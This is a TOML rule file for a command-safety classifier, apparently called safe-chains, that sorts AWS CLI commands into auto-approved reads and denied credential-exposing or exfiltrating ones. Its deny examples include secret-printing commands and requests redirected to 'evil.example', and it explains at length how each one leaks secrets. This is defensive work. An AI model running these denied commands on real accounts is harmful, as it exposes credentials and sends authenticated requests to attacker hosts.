safe-chains 0.220.0

[[command]]
name = "aws"
description = "Unified command-line interface for managing all Amazon Web Services resources. The full CLI can create, modify, and delete cloud infrastructure, manage IAM policies, and exfiltrate data from S3/Secrets Manager. Authenticated via credentials in ~/.aws or environment variables. The `configure export-credentials` sub-sub prints temporary credentials in the requested format (default is `process` JSON for credential_process; `env`, `env-no-export`, `powershell`, `windows-cmd`, `fish` produce shell-init variants). When used with one of the shell-init formats, the canonical eval pattern is `eval \"$(aws configure export-credentials --format env)\"`. Releases multiple times per week; very high project velocity."
url = "https://docs.aws.amazon.com/cli/latest/"
researched_version = "2.34.63"
bare_flags = ["--help", "--version"]
examples_safe = [
    "aws sts get-caller-identity",
    "aws s3 ls",
    "aws secretsmanager describe-secret --secret-id x",
    "aws secretsmanager list-secrets",
    "aws secretsmanager list-secrets --profile prod --region us-east-1",
    "aws secretsmanager list-secret-version-ids --secret-id x",
    "aws ecr describe-repositories",
    "aws ecr list-images --repository-name r",
    "aws ssm get-parameter --name x",
    "aws ssm describe-parameters",
    "aws ssm get-parameter-history --name x",
    "aws lambda list-layers",
    "aws apigateway get-api-key --api-key x",
    "aws ec2 describe-instance-attribute --instance-id i --attribute instanceType",
    "aws datazone get-connection --identifier x",
]
# `configure export-credentials` PRINTS live AWS credentials — reclassified `credential-read` (yolo),
# so it and its eval forms are denied at the default band. `secretsmanager get-secret-value` reads the
# secret value; dropped from the `get-*` glob.
examples_denied = [
    "aws configure export-credentials",
    "aws configure export-credentials --format env",
    "eval \"$(aws configure export-credentials --format env)\"",
    "eval \"$(aws configure export-credentials --format json)\"",
    "aws secretsmanager get-secret-value --secret-id x",
    "aws secretsmanager batch-get-secret-value --secret-id-list x",
    "aws secretsmanager list-secrets --frobnicate",
    "aws secretsmanager describe-secret --endpoint-url http://evil.example",
    "aws secretsmanager describe-secret --secret-id x --no-verify-ssl",
    "eval \"$(aws configure list)\"",
    "aws ecr get-login-password",
    "aws ecr get-authorization-token",
    "aws ssm get-parameter --name x --with-decryption",
    "aws ssm get-parameters --names x --with-decryption",
    "aws ssm get-parameters-by-path --path / --with-decryption",
    "aws s3api get-object --bucket b --key k out.json",
    "aws glacier get-job-output --account-id - --vault-name v --job-id j out",
    "aws ebs get-snapshot-block --snapshot-id s --block-index 0 --block-token t",
    "aws omics get-read-set --id x --sequence-store-id y --part-number 1 out",
    "aws redshift get-cluster-credentials --db-user u --cluster-identifier c",
    "aws sso get-role-credentials --role-name r --account-id a --access-token t",
    "aws lambda get-function --function-name x",
    "aws iam get-credential-report",
    "aws codeartifact get-authorization-token --domain d",
    "aws apigateway get-api-key --api-key x --include-value",
    "aws datazone get-connection --identifier x --with-secret",
    "aws ec2 describe-instance-attribute --instance-id i --attribute userData",
]
[command.wrapper]
standalone = ["--debug", "--no-paginate", "--no-sign-request", "--no-verify-ssl"]
valued = [
    "--ca-bundle", "--cli-connect-timeout", "--cli-read-timeout",
    "--color", "--endpoint-url", "--output",
    "--profile", "--query", "--region",
]

[[command.sub]]
name = "configure"
[[command.sub.sub]]
name = "list"
standalone = ["--help"]
[[command.sub.sub]]
name = "get"
bare = false
# `aws configure get <key>` prints a stored config value. `region`/`output` are metadata; the
# credential keys print the locally stored secret (the same material `cat ~/.aws/credentials` denies).
first_arg = ["*"]
credential_first_arg = ["aws_secret_access_key", "aws_session_token", "aws_security_token"]
standalone = ["--help"]
[[command.sub.sub]]
name = "export-credentials"
profile = "credential-read"
fact = "`aws configure export-credentials` resolves and PRINTS the active AWS credentials (access key id, secret access key, session token) to stdout in the requested format — the raw credential enters the caller's context (or, via `eval`, the shell environment)."
source = "https://docs.aws.amazon.com/cli/latest/reference/configure/export-credentials.html"
judgment = "Reclassified from Inert + eval-safe: printing live AWS credentials is credential exposure regardless of the eval convenience. The assume-role -> export -> use workflow now requires --level yolo. Revisit if the eval-into-env case warrants a narrower carve-out."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "sts"
[[command.sub.sub]]
name = "get-caller-identity"
standalone = ["--help"]

[[command.sub]]
name = "s3"
first_arg = ["ls"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "s3api"
first_arg = ["get-*", "head-*", "list-*"]
# Researched for S3 metadata/listing reads: bucket and key selection, the paging cursors (each
# listing API spells its own — `--marker`, `--continuation-token`, `--key-marker`,
# `--upload-id-marker`, `--part-number-marker`), conditional-read headers, and response shaping.
# DELIBERATELY ABSENT: `--endpoint-url` (retargets the authenticated request — the flag that made
# this glob a live exfil path), `--profile`, `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`,
# and the `--sse-customer-*` family (supplies caller-held key material to decrypt SSE-C objects;
# object-body reads are classified by the explicit `get-object` sub-sub below, not here).
first_arg_standalone = ["--debug", "--fetch-owner", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--bucket", "--checksum-mode", "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout",
  "--color", "--continuation-token", "--delimiter", "--encoding-type", "--expected-bucket-owner",
  "--if-match", "--if-modified-since", "--if-none-match", "--if-unmodified-since", "--key",
  "--key-marker", "--marker", "--max-items", "--max-keys", "--max-parts", "--max-uploads",
  "--object-attributes", "--output", "--page-size", "--part-number", "--part-number-marker",
  "--prefix", "--query", "--region", "--request-payer", "--start-after", "--starting-token",
  "--upload-id", "--upload-id-marker", "--version-id", "--version-id-marker",
]
[[command.sub.sub]]
name = "get-object"
profile = "bulk-object-read"
fact = "Streams the full body of an arbitrary S3 object to a local file or stdout — the same effect as the not-allowlisted `aws s3 cp`; object content routinely includes stored keys, .env/credentials files, DB dumps, and PII."
source = "https://docs.aws.amazon.com/cli/latest/reference/s3api/get-object.html"
judgment = "Denied at the default band as arbitrary opaque content retrieval. Tier (yolo) is conservative and UNSETTLED — not every object is credential-grade; see the bulk-object-read archetype note."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "ec2"
first_arg = ["describe-*"]
# EC2's read surface is ~200 `describe-` operations that share one parameter idiom: a resource-id
# list, `--filters`, and a paging cursor. `--dry-run` belongs here — it makes EC2 return an
# authorization check instead of performing anything, which is strictly more conservative.
# DELIBERATELY ABSENT: `--endpoint-url`, `--profile`, `--ca-bundle`, `--no-verify-ssl`,
# `--no-sign-request`.
first_arg_standalone = ["--debug", "--dry-run", "--help", "--no-cli-pager", "--no-dry-run", "--no-paginate"]
first_arg_valued = [
  "--architecture", "--attribute", "--availability-zone", "--cli-binary-format",
  "--cli-connect-timeout", "--cli-read-timeout", "--color", "--executable-users", "--filters",
  "--group-ids", "--group-names", "--image-ids", "--instance-ids", "--instance-types",
  "--internet-gateway-ids", "--key-names", "--max-items", "--max-results", "--nat-gateway-ids",
  "--network-interface-ids", "--next-token", "--output", "--owners", "--page-size", "--query",
  "--region", "--resource-type", "--route-table-ids", "--security-group-ids", "--snapshot-ids",
  "--starting-token", "--subnet-ids", "--volume-ids", "--vpc-ids",
]

[[command.sub.sub]]
name = "describe-launch-template-versions"
profile = "credential-read"
fact = "LaunchTemplateData including UserData (base64) returned by default; launch-template user data frequently embeds secrets/credentials"
source = "https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-launch-template-versions.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "describe-instance-attribute"
profile = "remote-read"
fact = "Reads one instance attribute. With --attribute userData it returns the instance's UserData (base64), which routinely contains bootstrap secrets, credentials, and tokens; other attributes (instanceType, groupSet, …) are benign."
source = "https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instance-attribute.html"
judgment = "Base read auto-approves; only --attribute userData escalates to credential-read (returns bootstrap secrets)."
standalone = ["--no-paginate", "--no-cli-pager", "--debug", "--help"]
valued = ["--attribute", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--instance-id", "--output", "--query", "--region"]
[[command.sub.sub.flag]]
name = "--attribute"
value_prefix = "userData"
classifies = "credential-read"
fact = "Selecting the userData attribute returns the instance UserData (base64) — bootstrap secrets/credentials."
source = "https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instance-attribute.html"
[[command.sub]]
name = "iam"
first_arg = ["get-*", "list-*"]
# The verb glob stays — IAM's `get-`/`list-` operations return principals, policies and posture
# metadata, and the ones that return credential material are carved out as explicit sub-subs below.
# What the glob lacked was a flag list: it admitted on the verb alone and never examined the rest of
# the line, so `aws iam list-users --endpoint-url http://evil.com` sent an authenticated IAM request
# to an arbitrary host and classified as an ordinary read.
#
# Researched for IAM read operations: response shaping (`--query`, `--output`, `--filter`), paging
# (`--max-items`, `--page-size`, `--starting-token`, `--marker`, `--max-length`), transport timeouts,
# and the resource-naming parameters the read verbs take. DELIBERATELY ABSENT: `--endpoint-url`
# (retargets the authenticated request), `--profile` (reads as a different identity), `--ca-bundle`
# (substitutes the trust anchor), `--no-verify-ssl`, `--no-sign-request`.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate", "--only-attached"]
first_arg_valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--group-name", "--instance-profile-name", "--marker", "--max-items", "--max-length",
  "--open-id-connect-provider-arn", "--output", "--page-size", "--path-prefix", "--policy-arn",
  "--policy-name",
  "--query", "--region", "--role-name", "--saml-provider-arn", "--scope", "--server-certificate-name",
  "--serial-number", "--starting-token", "--user-name", "--version-id",
]

[[command.sub.sub]]
name = "get-credential-report"
profile = "credential-read"
fact = "account-wide credential inventory (CSV) for every IAM user: password/MFA state, access-key IDs, rotation and last-used dates, cert status — a bulk credential-posture export"
source = "https://docs.aws.amazon.com/cli/latest/reference/iam/get-credential-report.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "lambda"
first_arg = ["get-*", "list-*"]
# Lambda reads select a function (optionally a version/alias via `--qualifier`) and page. The glob
# covers the metadata reads only: `get-function` and `get-function-configuration` return the
# function's Environment.Variables map in PLAINTEXT (routinely DB passwords and API keys), so they
# are carved out as credential-read sub-subs below and the glob never sees them. DELIBERATELY
# ABSENT: `--endpoint-url`, `--profile`, `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--event-source-arn", "--function-name", "--function-version", "--marker", "--master-region",
  "--max-items", "--output", "--page-size", "--qualifier", "--query", "--region", "--resource",
  "--starting-token", "--statement-id", "--uuid",
]

[[command.sub.sub]]
name = "get-function"
profile = "credential-read"
fact = "secret — plaintext Environment.Variables (passwords/API keys) plus a presigned Code.Location URL to download the full deployment package (code export)"
source = "https://docs.aws.amazon.com/cli/latest/reference/lambda/get-function.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-function-configuration"
profile = "credential-read"
fact = "secret — the function's Environment.Variables map returned in plaintext (commonly DB passwords, API keys, access tokens)"
source = "https://docs.aws.amazon.com/cli/latest/reference/lambda/get-function-configuration.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-functions"
profile = "credential-read"
fact = "bulk data — array of FunctionConfiguration for every function in the account/region, each including its plaintext Environment.Variables (secrets), enabling account-wide secret harvest in one call"
source = "https://docs.aws.amazon.com/cli/latest/reference/lambda/list-functions.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "logs"
first_arg = ["describe-*", "filter-*", "get-*", "list-*"]
# Researched for CloudWatch Logs reads: log-group/stream selection, the time window, filter patterns,
# paging and ordering. DELIBERATELY ABSENT beyond the usual transport set (`--endpoint-url`,
# `--profile`, `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`): `--unmask`, which returns
# data-protection-masked log content in the CLEAR. CloudWatch masks matched sensitive data (keys,
# tokens, PII) precisely so a log read is not a credential read; `--unmask` reverses that and turns
# `get-log-events` into a disclosure of the masked material, so it is not part of the read surface.
first_arg_standalone = [
  "--debug", "--descending", "--help", "--interleaved", "--no-cli-pager", "--no-descending",
  "--no-paginate", "--no-start-from-head", "--start-from-head",
]
first_arg_valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--destination-name-prefix", "--end-time", "--filter-name-prefix", "--filter-pattern", "--limit",
  "--log-group-identifier", "--log-group-name", "--log-group-name-prefix", "--log-record-pointer",
  "--log-stream-name", "--log-stream-name-prefix", "--log-stream-names", "--max-items",
  "--metric-name", "--metric-namespace", "--next-token", "--order-by", "--output", "--page-size",
  "--policy-type", "--query", "--query-id", "--region", "--resource-arn", "--start-time",
  "--starting-token", "--status", "--task-id", "--time",
]

[[command.sub]]
name = "ecs"
first_arg = ["describe-*", "list-*"]
# ECS reads select a cluster and the resources within it (services, tasks, task definitions,
# container instances) and page. DELIBERATELY ABSENT: `--endpoint-url`, `--profile`, `--ca-bundle`,
# `--no-verify-ssl`, `--no-sign-request`.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--cluster", "--color",
  "--container-instance", "--container-instances", "--desired-status", "--family", "--filter",
  "--include", "--launch-type", "--max-items", "--max-results", "--next-token", "--output",
  "--page-size", "--query", "--region", "--scheduling-strategy", "--service", "--service-name",
  "--services", "--sort", "--starting-token", "--started-by", "--status", "--task",
  "--task-definition", "--task-definition-family", "--tasks",
]

[[command.sub]]
name = "rds"
first_arg = ["describe-*", "list-*"]
# RDS reads select an instance/cluster/snapshot/parameter-group and page with RDS's own cursor
# spelling (`--marker`/`--max-records` rather than the CLI-generic pair). DELIBERATELY ABSENT:
# `--endpoint-url`, `--profile`, `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`.
first_arg_standalone = [
  "--debug", "--help", "--include-public", "--include-shared", "--no-cli-pager",
  "--no-include-public", "--no-include-shared", "--no-paginate",
]
first_arg_valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--db-cluster-identifier", "--db-cluster-parameter-group-name", "--db-cluster-snapshot-identifier",
  "--db-instance-identifier", "--db-parameter-group-name", "--db-snapshot-identifier",
  "--db-subnet-group-name", "--duration", "--engine", "--engine-version", "--event-categories",
  "--filters", "--marker", "--max-items", "--max-records", "--output", "--page-size", "--query",
  "--region", "--source-identifier", "--source-type", "--starting-token", "--snapshot-type",
]

[[command.sub]]
name = "cloudformation"
first_arg = ["describe-*", "get-*", "list-*"]
# CloudFormation reads select a stack, change set, stack set or type and page. `get-template` and
# `get-template-summary` return the template body — infrastructure source, and worth noting that
# templates routinely embed parameter DEFAULTS; genuine secrets belong in SSM/Secrets Manager and
# are referenced by ARN rather than inlined, so the template read is a config read, not a
# credential read. DELIBERATELY ABSENT: `--endpoint-url`, `--profile`, `--ca-bundle`,
# `--no-verify-ssl`, `--no-sign-request`.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--call-as", "--change-set-name", "--cli-binary-format", "--cli-connect-timeout",
  "--cli-read-timeout", "--color", "--export-name", "--logical-resource-id", "--max-items",
  "--max-results", "--next-token", "--output", "--page-size", "--physical-resource-id",
  "--query", "--region", "--stack-instance-account", "--stack-instance-region", "--stack-name",
  "--stack-set-name", "--stack-status-filter", "--starting-token", "--template-body",
  "--template-stage", "--template-summary-config", "--template-url", "--type", "--type-name",
]

[[command.sub]]
name = "route53"
first_arg = ["get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "dynamodb"
first_arg = ["describe-*", "list-*"]
# The glob covers table/backup/export METADATA only — `describe-*` and `list-*` describe schema,
# throughput, indexes and stream settings. Row reads (`get-item`, `query`, `scan`, `batch-get-item`)
# do not start with a globbed verb and are classified on their own terms.
#
# `--endpoint-url` is loopback-gated rather than withheld: DynamoDB Local is the standard local
# development story for this service, and `http://localhost:8000` never leaves the machine. Pointed
# anywhere else the same flag redirects an authenticated call, so only the loopback spellings
# `netloc::is_loopback` positively recognizes are admitted. DELIBERATELY ABSENT: `--profile`,
# `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`.
first_arg_loopback_valued = ["--endpoint-url"]
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--backup-arn", "--backup-type", "--cli-binary-format", "--cli-connect-timeout",
  "--cli-read-timeout", "--color", "--export-arn", "--exclusive-start-backup-arn",
  "--exclusive-start-table-name", "--global-table-name", "--limit", "--max-items", "--max-results",
  "--next-token", "--output", "--page-size", "--query", "--region", "--resource-arn",
  "--starting-token", "--statement", "--table-name", "--time-range-lower-bound",
  "--time-range-upper-bound",
]

# DynamoDB's item surface, classified so the local-development loop works against DynamoDB Local
# while the same commands against the real service keep their remote classification. Each declares
# `loopback_valued = ["--endpoint-url"]`: the flag is admitted only with a loopback value, and a
# loopback value re-classifies the non-destroy capabilities as local (see `resolve`'s loopback
# modifier). The destroys declare it too — the flag stays admissible, but destroy is deliberately
# NOT relaxed by it, because an SSH tunnel can make `localhost:8000` production and that lie is only
# unrecoverable in the destroy direction.
[[command.sub.sub]]
name = "create-table"
profile = "remote-create"
fact = "Creates a table with a key schema and throughput settings. Reversible by delete-table; against DynamoDB Local the whole dataset lives in a container or a local file."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/create-table.html"
loopback_valued = ["--endpoint-url"]
loopback_localizes = true
standalone = ["--debug", "--help", "--no-cli-pager"]
valued = [
  "--attribute-definitions", "--billing-mode", "--cli-binary-format", "--cli-connect-timeout",
  "--cli-read-timeout", "--color", "--deletion-protection-enabled", "--global-secondary-indexes",
  "--key-schema", "--local-secondary-indexes", "--output", "--provisioned-throughput", "--query",
  "--region", "--resource-policy", "--sse-specification", "--stream-specification", "--table-class",
  "--table-name", "--tags", "--warm-throughput",
]
[[command.sub.sub]]
name = "put-item"
profile = "remote-mutate"
fact = "Writes one item, replacing any item with the same key. Overwrites silently unless a condition expression guards it."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/put-item.html"
loopback_valued = ["--endpoint-url"]
loopback_localizes = true
standalone = ["--debug", "--help", "--no-cli-pager"]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--condition-expression", "--expression-attribute-names", "--expression-attribute-values",
  "--item", "--output", "--query", "--region", "--return-consumed-capacity",
  "--return-item-collection-metrics", "--return-values", "--return-values-on-condition-check-failure",
  "--table-name",
]
[[command.sub.sub]]
name = "update-item"
profile = "remote-mutate"
fact = "Edits attributes of one item, creating it if absent. An update expression may also REMOVE attributes, but the item itself survives."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/update-item.html"
loopback_valued = ["--endpoint-url"]
loopback_localizes = true
standalone = ["--debug", "--help", "--no-cli-pager"]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--condition-expression", "--expression-attribute-names", "--expression-attribute-values", "--key",
  "--output", "--query", "--region", "--return-consumed-capacity",
  "--return-item-collection-metrics", "--return-values", "--return-values-on-condition-check-failure",
  "--table-name", "--update-expression",
]
[[command.sub.sub]]
name = "update-table"
profile = "remote-mutate"
fact = "Changes a table's throughput, billing mode, indexes or stream settings. Does not remove item data."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/update-table.html"
loopback_valued = ["--endpoint-url"]
loopback_localizes = true
standalone = ["--debug", "--help", "--no-cli-pager"]
valued = [
  "--attribute-definitions", "--billing-mode", "--cli-binary-format", "--cli-connect-timeout",
  "--cli-read-timeout", "--color", "--deletion-protection-enabled", "--global-secondary-index-updates",
  "--output", "--provisioned-throughput", "--query", "--region", "--replica-updates",
  "--sse-specification", "--stream-specification", "--table-class", "--table-name",
  "--warm-throughput",
]
[[command.sub.sub]]
name = "get-item"
profile = "remote-read"
fact = "Reads one item by primary key."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/get-item.html"
loopback_valued = ["--endpoint-url"]
standalone = ["--consistent-read", "--debug", "--help", "--no-cli-pager", "--no-consistent-read"]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--expression-attribute-names", "--key", "--output", "--projection-expression", "--query",
  "--region", "--return-consumed-capacity", "--table-name",
]
[[command.sub.sub]]
name = "query"
profile = "remote-read"
fact = "Reads items matching a key condition on one partition, bounded by --limit and the 1 MB page size."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/query.html"
loopback_valued = ["--endpoint-url"]
standalone = [
  "--consistent-read", "--debug", "--help", "--no-cli-pager", "--no-consistent-read",
  "--no-scan-index-forward", "--scan-index-forward",
]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--exclusive-start-key", "--expression-attribute-names", "--expression-attribute-values",
  "--filter-expression", "--index-name", "--key-condition-expression", "--limit", "--max-items",
  "--output", "--page-size", "--projection-expression", "--query", "--region",
  "--return-consumed-capacity", "--select", "--starting-token", "--table-name",
]
[[command.sub.sub]]
name = "scan"
profile = "data-export"
fact = "Reads EVERY item in a table or index. Unbounded by design — a filter expression is applied after the read, so it reduces what is returned but not what is scanned."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/scan.html"
judgment = "data-export, not bulk-object-read: the two differ on the `retrieval` axis, not on scale. A scan returns STRUCTURED items you asked for — records, the same shape as `supabase db dump` — whereas bulk-content means arbitrary opaque object bytes (an S3 object, an EBS block) the classifier cannot assess. Unbounded scale is shared by both and is not what separates them."
loopback_valued = ["--endpoint-url"]
standalone = ["--consistent-read", "--debug", "--help", "--no-cli-pager", "--no-consistent-read"]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--exclusive-start-key", "--expression-attribute-names", "--expression-attribute-values",
  "--filter-expression", "--index-name", "--limit", "--max-items", "--output", "--page-size",
  "--projection-expression", "--query", "--region", "--return-consumed-capacity", "--segment",
  "--select", "--starting-token", "--table-name", "--total-segments",
]
[[command.sub.sub]]
name = "delete-item"
profile = "remote-destroy-recoverable"
fact = "Removes one item by primary key. Recoverable only from a backup or point-in-time restore, neither of which is on by default."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/delete-item.html"
loopback_valued = ["--endpoint-url"]
standalone = ["--debug", "--help", "--no-cli-pager"]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--condition-expression", "--expression-attribute-names", "--expression-attribute-values", "--key",
  "--output", "--query", "--region", "--return-consumed-capacity",
  "--return-item-collection-metrics", "--return-values", "--return-values-on-condition-check-failure",
  "--table-name",
]
[[command.sub.sub]]
name = "delete-table"
profile = "remote-destroy-irreversible"
fact = "Drops the table and every item in it. Without an on-demand backup or point-in-time recovery configured beforehand, the data is gone."
source = "https://docs.aws.amazon.com/cli/latest/reference/dynamodb/delete-table.html"
loopback_valued = ["--endpoint-url"]
standalone = ["--debug", "--help", "--no-cli-pager"]
valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--output",
  "--query", "--region", "--table-name",
]

[[command.sub]]
name = "sqs"
first_arg = ["get-*", "list-*"]
# SQS reads select a queue and page. `get-queue-attributes` returns the queue's configuration
# (redrive policy, visibility timeout, ARN) — not message bodies; consuming messages is
# `receive-message`, which the glob does not admit. DELIBERATELY ABSENT: `--endpoint-url`,
# `--profile`, `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--attribute-names", "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout",
  "--color", "--max-items", "--max-results", "--next-token", "--output", "--page-size",
  "--query", "--queue-name-prefix", "--queue-owner-aws-account-id", "--queue-url", "--region",
  "--starting-token",
]

[[command.sub]]
name = "sns"
first_arg = ["get-*", "list-*"]
# SNS reads select a topic, subscription, endpoint or platform application and page.
# DELIBERATELY ABSENT: `--endpoint-url`, `--profile`, `--ca-bundle`, `--no-verify-ssl`,
# `--no-sign-request`.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--endpoint-arn",
  "--max-items", "--next-token", "--output", "--page-size", "--phone-number", "--platform-application-arn",
  "--query", "--region", "--resource-arn", "--starting-token", "--subscription-arn", "--topic-arn",
]

[[command.sub]]
name = "cloudwatch"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ssm"
first_arg = ["describe-*", "get-*", "list-*"]
# SSM reads select parameters, documents, instances, patch baselines and command invocations.
# DELIBERATELY ABSENT beyond the usual transport set (`--endpoint-url`, `--profile`, `--ca-bundle`,
# `--no-verify-ssl`, `--no-sign-request`): `--with-decryption`, which returns SecureString parameter
# values decrypted — the whole point of a SecureString is that reading its name is not reading its
# secret. The parameter-value reads (`get-parameter`, `get-parameters`, `get-parameters-by-path`)
# are classified by their own sub-subs below, so the glob covers metadata reads only.
first_arg_standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
first_arg_valued = [
  "--association-id", "--baseline-id", "--cli-binary-format", "--cli-connect-timeout",
  "--cli-read-timeout", "--color", "--command-id", "--document-version", "--filters",
  "--instance-id", "--key", "--max-items", "--max-results", "--name", "--next-token",
  "--output", "--page-size", "--parameter-filters", "--path", "--query", "--region",
  "--starting-token", "--version-name",
]
[[command.sub.sub]]
name = "get-access-token"
profile = "credential-mint"
fact = "Returns a credentials set to be used with just-in-time node access (a temporary access credential)."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-access-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-parameter"
profile = "remote-read"
fact = "Reads a Parameter Store parameter. With --with-decryption a SecureString is DECRYPTED, returning the plaintext secret (password/API key/token)."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameter.html"
judgment = "The base read auto-approves; --with-decryption escalates to credential-read since it reveals the encrypted secret value."
# The API's own selectors plus the AWS CLI global options (which apply to every operation).
standalone = ["--no-paginate", "--no-cli-pager", "--debug", "--help"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--name", "--output", "--query", "--region"]
[[command.sub.sub.flag]]
name = "--with-decryption"
classifies = "credential-read"
fact = "Decrypts SecureString parameter values, returning the plaintext secret."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameter.html"
[[command.sub.sub]]
name = "get-parameters"
profile = "remote-read"
fact = "Reads multiple Parameter Store parameters. With --with-decryption SecureString values are DECRYPTED to plaintext secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameters.html"
judgment = "The base read auto-approves; --with-decryption escalates to credential-read."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub.flag]]
name = "--with-decryption"
classifies = "credential-read"
fact = "Decrypts SecureString parameter values, returning the plaintext secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameters.html"
[[command.sub.sub]]
name = "get-parameter-history"
profile = "remote-read"
fact = "Reads the value history of a parameter. With --with-decryption SecureString values are DECRYPTED to plaintext secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameter-history.html"
judgment = "The base read auto-approves; --with-decryption escalates to credential-read."
standalone = ["--no-paginate", "--no-cli-pager", "--debug", "--help"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--name", "--output", "--query", "--region", "--starting-token"]
[[command.sub.sub.flag]]
name = "--with-decryption"
classifies = "credential-read"
fact = "Decrypts the SecureString value history, returning plaintext secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameter-history.html"
[[command.sub.sub]]
name = "get-parameters-by-path"
profile = "remote-read"
fact = "Reads all parameters under a path hierarchy. With --with-decryption SecureString values are DECRYPTED, bulk-exposing plaintext secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameters-by-path.html"
judgment = "The base read auto-approves; --with-decryption escalates to credential-read (a bulk secret read)."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
